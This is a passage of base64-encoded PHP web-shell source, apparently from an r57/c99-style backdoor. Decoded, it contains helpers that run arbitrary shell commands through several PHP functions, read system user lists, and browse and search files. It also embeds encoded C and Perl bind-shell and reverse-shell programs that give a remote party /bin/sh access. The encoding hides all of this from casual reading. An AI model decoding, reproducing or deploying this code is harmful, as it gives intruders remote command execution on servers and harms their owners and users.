DQogICAgJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0 cygnc2hlbGxfZXhlYycpKQ0KICAgew0KICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCiAgIH0N CiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpDQogICB7DQogICAgQG9iX3N0YXJ0KCk7 DQogICAgQHN5c3RlbSgkY2ZlKTsNCiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgIEBv Yl9lbmRfY2xlYW4oKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkN CiAgIHsNCiAgICBAb2Jfc3RhcnQoKTsNCiAgICBAcGFzc3RocnUoJGNmZSk7DQogICAgJHJlcyA9IEBv Yl9nZXRfY29udGVudHMoKTsNCiAgICBAb2JfZW5kX2NsZWFuKCk7DQogICB9DQogIGVsc2VpZihAaXNf cmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkNCiAgew0KICAgJHJlcyA9ICIiOw0KICAgd2hp bGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KICAgQHBjbG9zZSgkZik7 DQogIH0NCiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpICYmIEBpc19yZXNvdXJj ZSgkZiA9IEBwcm9jX29wZW4oJGNmZSxhcnJheSgxID0+IGFycmF5KCJwaXBlIiwgInciKSksJHBpcGVz KSkpDQogICAgew0KICAgICAkcmVzID0gIiI7DQogICAgIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZyZWFk JykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsNCiAgICAgIHdoaWxlKCFAZmVvZigkcGlwZXNb MV0pKSB7JHJlcyAuPSBAZnJlYWQoJHBpcGVzWzFdLCAxMDI0KTt9DQogICAgIH1lbHNlIGlmKEBmdW5j dGlvbl9leGlzdHMoJ2ZnZXRzJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsNCiAgICAgIHdo aWxlKCFAZmVvZigkcGlwZXNbMV0pKSB7JHJlcyAuPSBAZmdldHMoJHBpcGVzWzFdLCAxMDI0KTt9DQog ICAgIH0NCiAgICAgQHByb2NfY2xvc2UoJGYpOw0KICAgIH0NCiAgIH0NCiByZXR1cm4gaHRtbHNwZWNp YWxjaGFycygkcmVzKTsNCn0NCmZ1bmN0aW9uIGdldF91c2VycygpDQp7DQogICR1c2VycyA9ICRyb3dz ID0gYXJyYXkoKTsNCiAgICAkcm93cz1AZXhwbG9kZSgiXG4iLG1vcmVyZWFkKCRmaWxlbmFtZSkpOw0K ICAgIGlmKCEkcm93c1swXSl7JHJvd3M9QGV4cGxvZGUoIlxuIixyZWFkemxpYigkZmlsZW5hbWUpKTt9 DQogICAgaWYoISRyb3dzWzBdKSByZXR1cm4gMDsNCiAgICBmb3JlYWNoICgkcm93cyBhcyAkc3RyaW5n KQ0KICAgICB7DQogICAgICR1c2VyID0gQGV4cGxvZGUoIjoiLHRyaW0oJHN0cmluZykpOw0KICAgICBp ZihzdWJzdHIoJHN0cmluZywwLDEpIT0nIycpIGFycmF5X3B1c2goJHVzZXJzLCR1c2VyWzBdKTsNCiAg ICAgfQ0KICByZXR1cm4gJHVzZXJzOw0KfQ0KZnVuY3Rpb24gZXJyKCRuLCR0eHQ9JycpDQp7DQplY2hv ICc8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+PHRyPjx0ZCBjbGFz cz1tYWluIGJnY29sb3I9QmxhY2s+PGZvbnQgY29sb3I9UmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxk aXYgYWxpZ249Y2VudGVyPjxiPic7DQplY2hvICRHTE9CQUxTWydsYW5nJ11bJEdMT0JBTFNbJ2xhbmd1 YWdlJ10uJ19lcnInLiRuXTsNCmlmKCFlbXB0eSgkdHh0KSkgeyBlY2hvICIgJHR4dCI7IH0NCmVjaG8g JzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+JzsNCnJldHVybiBudWxsOw0KfQ0KZnVu Y3Rpb24gcGVybXMoJG1vZGUpDQp7DQppZiAoISRHTE9CQUxTWyd1bml4J10pIHJldHVybiAwOw0KaWYo ICRtb2RlICYgMHgxMDAwICkgeyAkdHlwZT0ncCc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHgyMDAwICkg eyAkdHlwZT0nYyc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg0MDAwICkgeyAkdHlwZT0nZCc7IH0NCmVs c2UgaWYoICRtb2RlICYgMHg2MDAwICkgeyAkdHlwZT0nYic7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg4 MDAwICkgeyAkdHlwZT0nLSc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHhBMDAwICkgeyAkdHlwZT0nbCc7 IH0NCmVsc2UgaWYoICRtb2RlICYgMHhDMDAwICkgeyAkdHlwZT0ncyc7IH0NCmVsc2UgJHR5cGU9J3Un Ow0KJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7DQokb3duZXJbIndy aXRlIl0gPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7DQokb3duZXJbImV4ZWN1dGUiXSA9ICgk bW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsNCiRncm91cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDAp ID8gJ3InIDogJy0nOw0KJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0n Ow0KJGdyb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7DQokd29ybGRb InJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCiR3b3JsZFsid3JpdGUiXSA9ICgk bW9kZSAmIDAwMDAyKSA/ICd3JyA6ICctJzsNCiR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAw MDEpID8gJ3gnIDogJy0nOw0KaWYoICRtb2RlICYgMHg4MDAgKSAkb3duZXJbImV4ZWN1dGUiXSA9ICgk b3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzsNCmlmKCAkbW9kZSAmIDB4NDAwICkgJGdy b3VwWyJleGVjdXRlIl0gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7DQppZigg JG1vZGUgJiAweDIwMCApICR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsnZXhlY3V0ZSddPT0neCcp ID8gJ3QnIDogJ1QnOw0KJHM9c3ByaW50ZigiJTFzIiwgJHR5cGUpOw0KJHMuPXNwcmludGYoIiUxcyUx cyUxcyIsICRvd25lclsncmVhZCddLCAkb3duZXJbJ3dyaXRlJ10sICRvd25lclsnZXhlY3V0ZSddKTsN CiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCAkZ3JvdXBbJ3JlYWQnXSwgJGdyb3VwWyd3cml0ZSddLCAk Z3JvdXBbJ2V4ZWN1dGUnXSk7DQokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJHdvcmxkWydyZWFkJ10s

ICR3b3JsZFsnd3JpdGUnXSwgJHdvcmxkWydleGVjdXRlJ10pOw0KcmV0dXJuIHRyaW0oJHMpOw0KfQ0K ZnVuY3Rpb24gd2hpY2goJHByKQ0Kew0KJHBhdGggPSAnJzsNCiRwYXRoID0gZXgoIndoaWNoICRwciIp Ow0KaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gJHBhdGg7IH0gZWxzZSB7IHJldHVybiBmYWxzZTsg fQ0KfQ0KZnVuY3Rpb24gaW4oJHR5cGUsJG5hbWUsJHNpemUsJHZhbHVlLCRjaGVja2VkPTApDQp7DQog JHJldCA9ICI8aW5wdXQgdHlwZT0iLiR0eXBlLiIgbmFtZT0iLiRuYW1lLiIgIjsNCiBpZigkc2l6ZSAh PSAwKSB7ICRyZXQgLj0gInNpemU9Ii4kc2l6ZS4iICI7IH0NCiAkcmV0IC49ICJ2YWx1ZT1cIiIuJHZh bHVlLiJcIiI7DQogaWYoJGNoZWNrZWQpICRyZXQgLj0gIiBjaGVja2VkIjsNCiByZXR1cm4gJHJldC4i PiI7DQp9DQpmdW5jdGlvbiBjZigkZm5hbWUsJHRleHQpDQp7DQogJHdfZmlsZT1AZm9wZW4oJGZuYW1l LCJ3Iikgb3IgZXJyKDApOw0KIGlmKCR3X2ZpbGUpDQogew0KIEBmcHV0cygkd19maWxlLEBiYXNlNjRf ZGVjb2RlKCR0ZXh0KSk7DQogQGZjbG9zZSgkd19maWxlKTsNCiB9DQp9DQpmdW5jdGlvbiBwcygkcHIp DQp7Z2xvYmFsICR1bml4Ow0KJHBhdGggPSAnJzsNCmlmKCR1bml4KXskcGF0aCA9IGV4KCJwcyAtYXV4 IHwgZ3JlcCAkcHIgfCBncmVwIC12ICdncmVwJyIpO30NCmVsc2V7JHBhdGggPSBleCgidGFza2xpc3Qg fCBmaW5kc3RyIFwiJHByXCIiKTt9DQppZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBl bHNlIHsgcmV0dXJuIGZhbHNlOyB9DQp9DQpmdW5jdGlvbiBsb2NhdGUoJHByKQ0Kew0KJHBhdGggPSAn JzsNCiRwYXRoID0gZXgoImxvY2F0ZSAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRw YXRoOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0NCn0NCmZ1bmN0aW9uIHNyKCRsLCR0MSwkdDIpDQog ew0KIHJldHVybiAiPHRyIGNsYXNzPXRyMT48dGQgY2xhc3M9dGQxIHdpZHRoPSIuJGwuIiUgYWxpZ249 cmlnaHQ+Ii4kdDEuIjwvdGQ+PHRkIGNsYXNzPXRkMSBhbGlnbj1sZWZ0PiIuJHQyLiI8L3RkPjwvdHI+ IjsNCiB9DQppZiAoIUBmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmll d19zaXplKCRzaXplKQ0Kew0KIGlmKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IEByb3VuZCgk c2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gIiBHQiI7fQ0KIGVsc2VpZigkc2l6ZSA+PSAx MDQ4NTc2KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICIgTUIi O30NCiBlbHNlaWYoJHNpemUgPj0gMTAyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTAyNCAqIDEw MCkgLyAxMDAgLiAiIEtCIjt9DQogZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KIHJldHVybiAk c2l6ZTsNCn0NCn0NCiAgZnVuY3Rpb24gRGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKQ0KICB7DQogICAg JGZpbGVzID0gQXJyYXkoKTsNCiAgICBpZigoJGhhbmRsZSA9IEBvcGVuZGlyKCRkaXIpKSkNCiAgICB7 DQogICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IEByZWFkZGlyKCRoYW5kbGUpKSkNCiAgICAg IHsNCiAgICAgICAgaWYgKCRmaWxlICE9ICIuIiAmJiAkZmlsZSAhPSAiLi4iKQ0KICAgICAgICB7DQog ICAgICAgICAgaWYoQGlzX2RpcigkZGlyLiIvIi4kZmlsZSkpDQogICAgICAgICAgICAkZmlsZXMgPSBA YXJyYXlfbWVyZ2UoJGZpbGVzLERpckZpbGVzUigkZGlyLiIvIi4kZmlsZSwkdHlwZXMpKTsNCiAgICAg ICAgICBlbHNlDQogICAgICAgICAgew0KICAgICAgICAgICAgJHBvcyA9IEBzdHJycG9zKCRmaWxlLCIu Iik7DQogICAgICAgICAgICAkZXh0ID0gQHN1YnN0cigkZmlsZSwkcG9zLEBzdHJsZW4oJGZpbGUpLSRw b3MpOw0KICAgICAgICAgICAgaWYoJHR5cGVzKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICBp ZihAaW5fYXJyYXkoJGV4dCxleHBsb2RlKCc7JywkdHlwZXMpKSkNCiAgICAgICAgICAgICAgICAkZmls ZXNbXSA9ICRkaXIuIi8iLiRmaWxlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAg ICAgICAgICAgICAkZmlsZXNbXSA9ICRkaXIuIi8iLiRmaWxlOw0KICAgICAgICAgIH0NCiAgICAgICAg fQ0KICAgICAgfQ0KICAgICAgQGNsb3NlZGlyKCRoYW5kbGUpOw0KICAgIH0NCiAgICByZXR1cm4gJGZp bGVzOw0KICB9DQogIGNsYXNzIFNlYXJjaFJlc3VsdA0KICB7DQogICAgdmFyICR0ZXh0Ow0KICAgIHZh ciAkRmlsZXNUb1NlYXJjaDsNCiAgICB2YXIgJFJlc3VsdEZpbGVzOw0KICAgIHZhciAkRmlsZXNUb3Rh bDsNCiAgICB2YXIgJE1hdGNoZXNDb3VudDsNCiAgICB2YXIgJEZpbGVNYXRzY2hlc0NvdW50Ow0KICAg IHZhciAkVGltZVN0YXJ0Ow0KICAgIHZhciAkVGltZVRvdGFsOw0KICAgIHZhciAkdGl0bGVzOw0KICAg IGZ1bmN0aW9uIFNlYXJjaFJlc3VsdCgkZGlyLCR0ZXh0LCRmaWx0ZXI9JycpDQogICAgew0KICAgICAg JGRpcnMgPSBAZXhwbG9kZSgiOyIsJGRpcik7DQogICAgICAkdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEFy cmF5KCk7DQogICAgICBmb3IoJGE9MDskYTxjb3VudCgkZGlycyk7JGErKykNCiAgICAgICAgJHRoaXMt PkZpbGVzVG9TZWFyY2ggPSBAYXJyYXlfbWVyZ2UoJHRoaXMtPkZpbGVzVG9TZWFyY2gsRGlyRmlsZXNS KCRkaXJzWyRhXSwkZmlsdGVyKSk7DQogICAgICAkdGhpcy0+dGV4dCA9ICR0ZXh0Ow0KICAgICAgJHRo aXMtPkZpbGVzVG90YWwgPSBAY291bnQoJHRoaXMtPkZpbGVzVG9TZWFyY2gpOw0KICAgICAgJHRoaXMt PlRpbWVTdGFydCA9IGdldG1pY3JvdGltZSgpOw0KICAgICAgJHRoaXMtPk1hdGNoZXNDb3VudCA9IDA7 DQogICAgICAkdGhpcy0+UmVzdWx0RmlsZXMgPSBBcnJheSgpOw0KICAgICAgJHRoaXMtPkZpbGVNYXRj aGVzQ291bnQgPSBBcnJheSgpOw0KICAgICAgJHRoaXMtPnRpdGxlcyA9IEFycmF5KCk7DQogICAgfQ0K ICAgIGZ1bmN0aW9uIEdldEZpbGVzVG90YWwoKSB7IHJldHVybiAkdGhpcy0+RmlsZXNUb3RhbDsgfQ0K ICAgIGZ1bmN0aW9uIEdldFRpdGxlcygpIHsgcmV0dXJuICR0aGlzLT50aXRsZXM7IH0NCiAgICBmdW5j dGlvbiBHZXRUaW1lVG90YWwoKSB7IHJldHVybiAkdGhpcy0+VGltZVRvdGFsOyB9DQogICAgZnVuY3Rp b24gR2V0TWF0Y2hlc0NvdW50KCkgeyByZXR1cm4gJHRoaXMtPk1hdGNoZXNDb3VudDsgfQ0KICAgIGZ1 bmN0aW9uIEdldEZpbGVNYXRjaGVzQ291bnQoKSB7IHJldHVybiAkdGhpcy0+RmlsZU1hdGNoZXNDb3Vu dDsgfQ0KICAgIGZ1bmN0aW9uIEdldFJlc3VsdEZpbGVzKCkgeyByZXR1cm4gJHRoaXMtPlJlc3VsdEZp bGVzOyB9DQogICAgZnVuY3Rpb24gU2VhcmNoVGV4dCgkcGhyYXNlPTAsJGNhc2U9MCkgew0KICAgICRx cSA9IEBleHBsb2RlKCcgJywkdGhpcy0+dGV4dCk7DQogICAgJGRlbGltID0gJ3wnOw0KICAgICAgaWYo JHBocmFzZSkNCiAgICAgICAgZm9yZWFjaCgkcXEgYXMgJGs9PiR2KQ0KICAgICAgICAgICRxcVska10g PSAnXGInLiR2LidcYic7DQogICAgICAkd29yZHMgPSAnKCcuQGltcGxvZGUoJGRlbGltLCRxcSkuJykn

Ow0KICAgICAgJHBhdHRlcm4gPSAiLyIuJHdvcmRzLiIvIjsNCiAgICAgIGlmKCEkY2FzZSkNCiAgICAg ICAgJHBhdHRlcm4gLj0gJ2knOw0KICAgICAgZm9yZWFjaCgkdGhpcy0+RmlsZXNUb1NlYXJjaCBhcyAk az0+JGZpbGVuYW1lKQ0KICAgICAgew0KICAgICAgICAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudFskZmls ZW5hbWVdID0gMDsNCiAgICAgICAgJEZpbGVTdHJpbmdzID0gQGZpbGUoJGZpbGVuYW1lKSBvciBAbmV4 dDsNCiAgICAgICAgZm9yKCRhPTA7JGE8QGNvdW50KCRGaWxlU3RyaW5ncyk7JGErKykNCiAgICAgICAg ew0KICAgICAgICAgICRjb3VudCA9IDA7DQogICAgICAgICAgJEN1clN0cmluZyA9ICRGaWxlU3RyaW5n c1skYV07DQogICAgICAgICAgJEN1clN0cmluZyA9IEBUcmltKCRDdXJTdHJpbmcpOw0KICAgICAgICAg ICRDdXJTdHJpbmcgPSBAc3RyaXBfdGFncygkQ3VyU3RyaW5nKTsNCiAgICAgICAgICAkYWEgPSAnJzsN CiAgICAgICAgICBpZigoJGNvdW50ID0gQHByZWdfbWF0Y2hfYWxsKCRwYXR0ZXJuLCRDdXJTdHJpbmcs JGFhKSkpDQogICAgICAgICAgew0KICAgICAgICAgICAgJEN1clN0cmluZyA9IEBwcmVnX3JlcGxhY2Uo JHBhdHRlcm4sIjxTUEFOIHN0eWxlPSdjb2xvcjogIzk5MDAwMDsnPjxiPlxcMTwvYj48L1NQQU4+Iiwk Q3VyU3RyaW5nKTsNCiAgICAgICAgICAgICR0aGlzLT5SZXN1bHRGaWxlc1skZmlsZW5hbWVdWyRhKzFd ID0gJEN1clN0cmluZzsNCiAgICAgICAgICAgICR0aGlzLT5NYXRjaGVzQ291bnQgKz0gJGNvdW50Ow0K ICAgICAgICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnRbJGZpbGVuYW1lXSArPSAkY291bnQ7DQog ICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICAkdGhpcy0+VGltZVRvdGFsID0gQHJv dW5kKGdldG1pY3JvdGltZSgpIC0gJHRoaXMtPlRpbWVTdGFydCw0KTsNCiAgICB9DQogIH0NCiAgZnVu Y3Rpb24gZ2V0bWljcm90aW1lKCkNCiAgew0KICAgIGxpc3QoJHVzZWMsJHNlYykgPSBAZXhwbG9kZSgi ICIsQG1pY3JvdGltZSgpKTsNCiAgICByZXR1cm4gKChmbG9hdCkkdXNlYyArIChmbG9hdCkkc2VjKTsN CiAgfQ0KJHBvcnRfYmluZF9iZF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmta U0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM1I1Y0dWekxtZytEUW9qYVc1amJIVmta Uw0KQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ2lO cGJtTnNkV1JsSUR4bGNuSnVieTVvUGcwS2FXNTBJRzFoYVc0b1lYSm5ZeXhoY21kMktRMEthVzUwSQ0K R0Z5WjJNN0RRcGphR0Z5SUNvcVlYSm5kanNOQ25zZ0lBMEtJR2x1ZENCemIyTnJabVFzSUc1bGQyWmtP dzBLSUdOb1lYSWdZblZtV3pNd1hUc05DaUJ6ZEhKMVkzUWdjMjlqYTJGa1pISmZhVzRnY21WdA0KYjNS bE93MEtJR2xtS0dadmNtc29LU0E5UFNBd0tTQjdJQTBLSUhKbGJXOTBaUzV6YVc1ZlptRnRhV3g1SUQw Z1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOQ0KcEtHRnla M1piTVYwcEtUc05DaUJ5WlcxdmRHVXVjMmx1WDJGa1pISXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJS RVJTWDBGT1dTazdJQTBLSUhOdlkydG1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMRg0KTlBRMHRmVTFS U1JVRk5MREFwT3cwS0lHbG1LQ0Z6YjJOclptUXBJSEJsY25KdmNpZ2ljMjlqYTJWMElHVnljbTl5SWlr N0RRb2dZbWx1WkNoemIyTnJabVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnSw0KaWttY21WdGIzUmxM Q0F3ZURFd0tUc05DaUJzYVhOMFpXNG9jMjlqYTJaa0xDQTFLVHNOQ2lCM2FHbHNaU2d4S1EwS0lDQjdE UW9nSUNCdVpYZG1aRDFoWTJObGNIUW9jMjlqYTJaa0xEQXNNQ2s3RFFvZw0KSUNCa2RYQXlLRzVsZDJa a0xEQXBPdzBLSUNBZ1pIVndNaWh1WlhkbVpDd3hLVHNOQ2lBZ0lHUjFjRElvYm1WM1ptUXNNaWs3RFFv Z0lDQjNjbWwwWlNodVpYZG1aQ3dpVUdGemMzZHZjbVE2SWl3eE1Daw0KN0RRb2dJQ0J5WldGa0tHNWxk MlprTEdKMVppeHphWHBsYjJZb1luVm1LU2s3RFFvZ0lDQnBaaUFvSVdOb2NHRnpjeWhoY21kMld6SmRM R0oxWmlrcERRb2dJQ0J6ZVhOMFpXMG9JbVZqYUc4Z2QyVnNZMg0KOXRaU0IwYnlCeU5UY2djMmhsYkd3 Z0ppWWdMMkpwYmk5aVlYTm9JQzFwSWlrN0RRb2dJQ0JsYkhObERRb2dJQ0JtY0hKcGJuUm1LSE4wWkdW eWNpd2lVMjl5Y25raUtUc05DaUFnSUdOc2IzTmxLRzVsZA0KMlprS1RzTkNpQWdmUTBLSUgwTkNuME5D bWx1ZENCamFIQmhjM01vWTJoaGNpQXFZbUZ6WlN3Z1kyaGhjaUFxWlc1MFpYSmxaQ2tnZXcwS2FXNTBJ R2s3RFFwbWIzSW9hVDB3TzJrOGMzUnliR1Z1S0dWdQ0KZEdWeVpXUXBPMmtyS3lrZ0RRcDdEUXBwWmlo bGJuUmxjbVZrVzJsZElEMDlJQ2RjYmljcERRcGxiblJsY21Wa1cybGRJRDBnSjF3d0p6c2dEUXBwWmlo bGJuUmxjbVZrVzJsZElEMDlJQ2RjY2ljcERRcA0KbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzTkNuME5D bWxtSUNnaGMzUnlZMjF3S0dKaGMyVXNaVzUwWlhKbFpDa3BEUXB5WlhSMWNtNGdNRHNOQ24wPSI7DQok cG9ydF9iaW5kX2JkX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2WW1G emFDQXRhU0k3RFFwcFppQW9RRUZTUjFZZ1BDQXhLU0I3SUdWNGFYUW9NU2s3SUgwTkNpUk1TDQpWTlVS VTVmVUU5U1ZEMGtRVkpIVmxzd1hUc05DblZ6WlNCVGIyTnJaWFE3RFFva2NISnZkRzlqYjJ3OVoyVjBj SEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzDQpKbE5QUTB0 ZlUxUlNSVUZOTENSd2NtOTBiMk52YkNrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhS Y2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWDQpUUlVGRVJGSXNN U2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFeEpVMVJGVGw5UVQxSlVMRWxPUVVSRVVsOUJU bGtwS1NCOGZDQmthV1VnSWtOaGJuUWdiM0JsYmlCd2IzSjBYRzRpT3cwS2JHDQpsemRHVnVLRk1zTXlr Z2ZId2daR2xsSUNKRFlXNTBJR3hwYzNSbGJpQndiM0owWEc0aU93MEtkMmhwYkdVb01Ta05DbnNOQ21G alkyVndkQ2hEVDA1T0xGTXBPdzBLYVdZb0lTZ2tjR2xrUFdadmNtc3BLDQpRMEtldzBLWkdsbElDSkRZ VzV1YjNRZ1ptOXlheUlnYVdZZ0tDRmtaV1pwYm1Wa0lDUndhV1FwT3cwS2IzQmxiaUJUVkVSSlRpd2lQ Q1pEVDA1T0lqc05DbTl3Wlc0Z1UxUkVUMVZVTENJK0prTlBUazRpDQpPdzBLYjNCbGJpQlRWRVJGVWxJ c0lqNG1RMDlPVGlJN0RRcGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJG dWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DbU5zYjNODQpsSUVOUFRrNDdEUXBsZUdsMElEQTdE UXA5RFFwOSI7DQokYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEy VjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlX QWlPMlZqDQphRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5

SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRv SkhSDQpoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlky dGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtU DQpzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlE UzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JDQpr VnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FX VW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpDQpLVHNO Q205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpU VDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsDQpPS1RzTkNt TnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCiRiYWNrX2Nvbm5lY3Rf Yz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9Q ZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMNCkJ0WVdsdUtHbHVkQ0JoY21k akxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdS a2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWINClNBdFppQWlPeUFOQ2lCa1lXVnRi MjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBi bDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQNCktTazdEUW9nYzJsdUxuTnBibDloWkdS eUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc2dEUW9nWW5wbGNtOG9ZWEpuZGxz eFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoNCnNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1a Q0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJ RHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMNCkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNa emFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205 eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QNClFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZ WFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJ REFwT3cwS0lHUjFjRElvWm1Rc0lERXANCk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJ dlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsN 